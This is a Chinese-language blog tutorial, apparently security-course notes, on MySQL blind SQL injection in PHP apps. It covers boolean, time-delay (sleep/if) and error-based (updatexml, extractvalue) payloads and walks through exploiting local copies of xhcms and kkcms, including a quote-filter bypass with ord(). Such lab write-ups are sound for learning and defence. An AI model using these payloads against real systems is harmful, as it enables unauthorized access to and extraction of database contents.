3475 字
17 分钟
第44天:WEB攻防-PHP应用

044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式 #知识点:

1、PHP-MYSQL-SQL注入-方式增删改查
2、PHP-MYSQL-SQL注入-布尔&延迟&报错
3、PHP-MYSQL-SQL注入-数据回显&报错处理

演示案例:

➢PHP-MYSQL-SQL操作-增删改查
➢PHP-MYSQL-注入函数-布尔&报错&延迟
➢PHP-MYSQL-注入条件-数据回显&错误处理
➢PHP-MYSQL-CMS案例-插入报错&删除延迟

#PHP-MYSQL-SQL操作-增删改查#

1、功能:数据查询

查询:SELECT * FROM news where id=$id

2、功能:新增用户,添加新闻等

增加:INSERT INTO news (字段名) VALUES (数据)

3、功能:删除用户,删除新闻等

删除:DELETE FROM news WHERE id=$id

4、功能:修改用户,修改文章等

修改:UPDATE news SET id=$id where username = 'xxx'

#PHP-MYSQL-注入函数-布尔&报错&延迟

盲注就是在==注入过程中,获取的数据不能回显==至前端页面。 我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。 解决:常规的联合查询注入不行的情况 我们可以知道盲注分为以下三类: 1、基于布尔的SQL盲注-逻辑判断==(盲注可用布尔盲注(需要回显)== f8e58b3ccbc00e5a411ec53c76e48db9

regexp,like,ascii,left,ord,mid

RegExp(正则表达式):

正则表达式是一系列字符,定义了一个搜索模式。它用于在字符串中进行模式匹配。
正则表达式提供了一种强大而灵活的方式来搜索、匹配和操作文本。

LIKE(模糊匹配)

LIKE 经常在数据库查询中使用,特别是在SQL中,用于在列中搜索指定的模式。
它允许使用通配符字符,如%(匹配任何字符序列)和_(匹配任何单个字符)。

ASCII码:

ASCII(美国信息交换标准代码)是一种字符编码标准,为键盘上的每个字母、数字和符号分配一个唯一的数字。
ASCII 值表示文本字符,被广泛用于计算机中。

LEFT(左侧提取指定数量的字符):

在字符串操作的上下文中,LEFT 是一种在一些编程语言或数据库查询语言中使用的函数。
它从字符串的左侧提取指定数量的字符。

ORD:

ORD 是一种在一些编程语言(例如 Python)中用于获取字符的 ASCII 值的函数。
例如,ord('A') 返回 ‘A’ 的 ASCII 值,即 65。

MID:

MID(或在一些语言中称为 SUBSTRING)是一种从给定字符串中提取子字符串的函数。
它需要指定的起始位置和要提取的子字符串的长度。

下面是 Python 的一个快速示例:

import re
# 正则表达式(RegExp)
pattern = re.compile(r'\\d{3}-\\d{2}-\\d{4}') # 匹配社会安全号码模式
# SQL 中的 LIKE
SELECT * FROM table WHERE column LIKE 'abc%'
# ASCII
ascii_value = ord('A') # 返回 65
# LEFT
original_string = "Hello, World!"
left_result = original_string[:5] # 返回 "Hello"
# ORD
ascii_value_of_H = ord('H') # 返回 72
# MID
substring = original_string[7:12] # 返回 "World"

布尔相关注入语句:

#检查当前数据库名称的长度是否为7。
and length(database())=7;
#检查当前数据库名称的第一个字符是否为 'p'。
and left(database(),1)='p';
#检查当前数据库名称的前两个字符是否为 'pi'。
and left(database(),2)='pi';
#检查当前数据库名称的第一个字符是否为 'p'
and substr(database(),1,1)='p';
#检查当前数据库名称的第二个字符是否为 'i'
and substr(database(),2,1)='i';
#使用 ord 函数将第一个字符的ASCII值转换为整数,并检查它是否等于112
and ord(left(database(),1))=112;

2、基于时间的SQL盲注-延时判断==(报错和回显都不需要)==

if,sleep

IF语句:
SQL中的**IF**语句用于条件执行,根据指定的条件执行一组SQL语句。
在SQL注入的上下文中,攻击者可能注入一个始终为真的条件,以操纵SQL查询的行为。
SLEEP函数:
SLEEP函数用于在执行查询时引入一定的延迟或暂停,可以指定延迟的时间。
攻击者利用**SLEEP函数进行基于时间的盲注,通过观察查询响应的延迟来推断有关数据库的信息。**

下面是一个简单的示例,演示了基于时间的盲注攻击:

假设存在一个有漏洞的查询:

SELECT * FROM users WHERE username = 'input' AND password = 'input'

攻击者可能注入以下有效载荷

' OR IF(1=1, SLEEP(5), 0)--

在这个注入中,IF(1=1, SLEEP(5), 0)*语句将始终为真,导致执行*SLEEP(5)*函数。双破折号(*--)用于注释掉原始查询的其余部分,以防止语法错误。

延迟相关注入语句:

#单地引入了一个1秒的延迟。如果应用程序响应时间增加了1秒,那么攻击者可以推断注入条件为真。
and sleep(1);
#if 函数被使用,但条件始终为假(1 > 2)。因此,sleep(1) 函数不会执行,而是返回0。这个语句的目的是验证条件的结果是否影响查询的响应时间。如果查询响应时间增加,说明注入条件为真。
and if(1>2,sleep(1),0);
#但这次条件为真(1 < 2)。因此,sleep(1) 函数将执行,导致查询延迟1秒钟。攻击者可以观察到响应时间的增加,从而确定注入条件为真。
and if(1<2,sleep(1),0);

3、基于报错的SQL盲注-报错回显**(加入报错处理可利用报错盲注)**#

7a7312dfd65382818b11539b1cc832a0

floor,updatexml,extractvalue

基于报错的SQL盲注是一种注入攻击技术,其中攻击者试图通过触发SQL错误来获取有关数据库结构和内容的信息。

FLOOR: FLOOR 函数本身通常不直接用于报错注入。它是用于数值处理的函数,主要用于取整。 如果在使用 FLOOR 函数时传入了不正确的参数,可能导致SQL错误,但这通常不是攻击者首选的方法。

updatexml:

​ updatexml 函数在错误注入中可能是有用的。攻击者可以尝试构造一个恶意的 XML 语句,触发错误并泄漏有关数据库结构的信息。

​ 示例: ​ 下述语句尝试通过 updatexml 函数将波浪符 0x7e 连接到数据库名称,从而引发错误并回显数据库名称。

updatexml(1, concat(0x7e, (SELECT database())), 1)

extractvalue:

  • extractvalue 函数也可以用于错误注入。攻击者可以构造恶意的 XML 路径,触发错误并泄漏信息。
  • 示例: 下述语句尝试通过 extractvalue 函数将波浪符 0x7e 连接到当前用户的名称,从而引发错误并回显用户信息。
extractvalue(1, concat(0x7e, (SELECT user())), 1)

报错相关注入语句

#攻击者试图通过 updatexml 函数将波浪符 0x7e 连接到数据库版本号,从而引发错误并泄露版本信息。这是一种常见的基于报错的注入技术,攻击者可以通过观察错误消息来获取敏感信息。

and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

#攻击者试图通过 extractvalue 函数获取 information_schema.tables 表的第一个表名。通过观察错误消息,攻击者可以逐步推断数据库结构。

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

4.参考:#

like 'ro%' #判断ro或ro...是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

#PHP-MYSQL-注入条件-数据回显&错误处理#

PHP开发项目-输出结果&开启报错 1.基于延时:((报错和回显都不需要))

and if(1=1,sleep(3),0)

​ if 函数被使用,但条件始终为真(1 =1)。

​ 因此,sleep(3) 函数会执行。

​ 这个语句的目的是验证条件的结果是否影响查询的响应时间。如果查询响应时间增加,说明注入条件为真。

image-20250821162341186

and if(left(database(),1)='d',sleep(3),0)

  • 是检查当前数据库的名称的第一个字符是否为 ‘d’。如果是,它会引入一个3秒的延迟(sleep(3)),否则返回0。

image-20250821162302600

2.基于布尔:有数据库输出判断标准盲注可用布尔盲注(需要回显#

c63e84e63dd9cc0966c8aeaf257484e8

通过判断页面上的某个元素变化,来判断是否注入成功

  • and length(database())=6(检查当前数据库名称的长度是否为6。)
  • 当变为7则出现页面无内容,则证明,该数据库名称的长度是否为6

image-20250821163500574

image-20250821163515846

and left(database(),1)='d';(检查当前数据库名称的第一个字符是否为 ‘d’。)

当变为p则出现页面p无内容,则证明,该数据库名称第一个字符是 ‘d’

image-20250821163609704

image-20250821163622289

3.基于报错:有数据库报错处理判断标准(加入报错处理可利用报错盲注)#

and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

  • 攻击者试图通过 updatexml 函数将波浪符 0x7e 连接到数据库版本号,从而引发错误并泄露版本信息。

image-20250821164932876

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

攻击者试图==通过 extractvalue 函数获取 information_schema.tables 表的第一个表名==。通过观察错误消息,攻击者可以逐步推断数据库结构。

image-20250821165012999

4.测试delete注入:(有无回显,有无报错)#

分析源码得出

f7e5e3ff4714a00444ef6387873b15c2

d6bdcff76d85152fbb0652a0882789ed

SQL注入攻击中**使用 OR 和 AND 的选择通常取决于攻击者试图实现的目标和特定的注入场景。**让我解释一下使用这两个逻辑运算符的原因:

使用 OR: 目标多条件的成立: 攻击者可能使用 OR 运算符来构造注入条件,以确保多个条件中的至少一个成立。这对于布尔盲注攻击很有用,因为攻击者可以通过观察应用程序的行为来确定是否存在真或假的条件。 绕过登录验证: 在登录场景中,攻击者可能使用 OR 条件来绕过用户名和密码的验证,使条件总是为真,从而成功登录。

使用 AND:

​ 目标多条件同时成立: 有时,攻击者可能希望确保多个条件同时成立,这时候 AND 运算符更适用。这在一些特定的注入场景中可能更有用。

​ 限制结果集: 使用 AND 可以帮助攻击者过滤结果集,以获取更具体的信息。例如,AND 可以用于构造条件以筛选特定用户的数据

6f15e6a41955ce57becdf81d57b35b97

(1) 删除(延迟):1 and if(1=1,sleep(3),0)#

e242b2356b16c4cb371aeb2cc7705165

image-20250821170837181

(2)删除(布尔):4 and length(database())=6(无回显 无法判断)#

image-20250821170913109

image-20250821170931602

(3)删除(报错):4 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#

image-20250821171019463

image-20250821171027627

#PHP-MYSQL-CMS案例-插入报错&删除延时

面试问题:如果是黑盒测试,要求盲注,选用什么方式?

回答:可以选择报错或延时(由于无法判断,其源码是否有容错处理,首先试一下报错,使用延时也可以,但是需要注意符号问题) 1、xhcms-insert报错

’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and ’

  1. 打开对应的源码
  2. ctrl+shift+f:全局搜索:insert
  3. 发现有报错处理:文件路径为:files/submit.php
  4. 由于网址在index.php有规定,特殊的路由访问方式
  5. 使用全局搜索**:?r=submit,发现是由files/contact.php路径触发**
  6. 所以直接使用http://127.0.0.1/83/?r=contact 触发网址,并对照源码发现,就是此页面**
  7. 再次查看submit.php页面发现其SQL语句中的表名为$query = “INSERT INTO **interaction ,对应查找数据库,发现里面的内容,与contact.php页面留言表一一符合,及判断submit.php页面是实现评论提交功能;
  8. 分析sql语句query="INSERTINTOinteraction(type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date)VALUES(query = "INSERT INTO interaction (type, xs, cid, name, mail, url, touxiang, shebei, ip, content, tz, date) VALUES ('type’, ‘xs,xs', 'cid’, ‘name,name', 'mail’, ‘url,url', 'touxiang’, ‘shebei,shebei', 'ip’, ‘content,content', 'tz’, now())”; 发现有‘ ’影响,在注入时,需要避免
  9. 使用注入:’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and ’
  10. 注意:留言内容必须是中文,不然会无法回显报错
  11. 数据回显:新增错误:XPATH syntax error: ‘5.7.26’,盲注成功

image-20250821174011140

image-20250821181404774

image-20250821181502253

image-20250821181721159

image-20250821181911776

image-20250821182107989

3bb9204b62625a944c516157d71e92ec

c6f7455d048ea72a3217abf22e3059e4

fcc0cd7a21d82fa9075b726e8f60dfe6

image-20250821182744007

image-20250821182758476

2、kkcms-delete延时

and if(1=1,sleep(5),0) or if(1=1,sleep(5),0) or if(ord(left(database(),1))=107,sleep(2),0)

打开对应的源码 ctrl+shift+f:全局搜索:delete 发现有删除相关代码:文件路径为:admin/model/usergroup.php 访问发现http://127.0.0.1:82/admin/model/usergroup.php,出现空白, 解决:必须需要登录http://127.0.0.1:82/admin 还是空白 由于usergroup.php只有后端页面,并没有对应前端数据显露,所以应继续使用该文件名搜索,查看是否有包含其的前端页面,进行匹配 搜到包含文件include(‘model/usergroup.php’); 使用该文件路径进行网址访问/admin/cms_usergroup.php http://127.0.0.1:82/admin/cms_usergroup.php 访问成功 由于浏览器使用延时注入,没有回显时间,不好判断,所以使用抓包软件burp

image-20250821183437692

image-20250821183511492

image-20250821183822680

image-20250821183929844

image-20250821205819887

image-20250821210044295

image-20250821210100015

image-20250821210123496

image-20250821210234381

使用burp抓到对应包,发送至repeater,并在GET头加入?del=4发送包,查看是否成功**?del=4 or if(1=1,sleep(2),sleep(0))**

回显200成功后,将**?del=4%20or%20if(1=1,sleep(1),sleep(0)) 注入代码写入GET头,并查看右下角,发现有延时,注入成功**

需要注意,在写入GET头中的注入语句,需要将空格转换为%20字符,直接输入空格会报错,导致无法识别

?del=4%20or%20if(length(database())=5,sleep(1),sleep(0)) 将判断内容替换为,查询数据库名的个数,在输入5的时候,有延迟,及证明,数据库名有五位

?del=4%20or%20if(left(database(),1)=‘k’,sleep(1),sleep(0) )将判断内容替换为**检查当前数据库名称的第一个字符是否为 ‘k’。

f38eec231bc323d2c4dea5acd8c7e4f9

发现,回显的数据包,并没有延时,但数据库名为kkcms 将源码的sql语句打印出来,发现是源码对于单引号做了过滤 ord() 函数: ord() 函数返回字符串的第一个字符的 ASCII 值。 在这个语句中,ord(left(database(),1)) 返回当前数据库名称的第一个字符的 ASCII 值。

将**?del=4%20or%20if(ord(left(database(),1))=107,sleep(1),sleep(0)) 将条件使用ord() 函数:包裹,并将k值转换为ASCII码(107),即可绕过单引号过滤**

b9455af99ae11ce4ccfec37e5c52804a

0cbe40380032fafa90c23983971f1118

0cbe40380032fafa90c23983971f1118

02874d823fcb5eb2d85860b5ee70d6ff

image-20250821212618705

第44天:WEB攻防-PHP应用
https://konwait12.github.io/my-kon-blog/posts/044web攻防/
作者
k-on!--wait
发布于
2025-08-20
许可协议
CC BY-NC-SA 4.0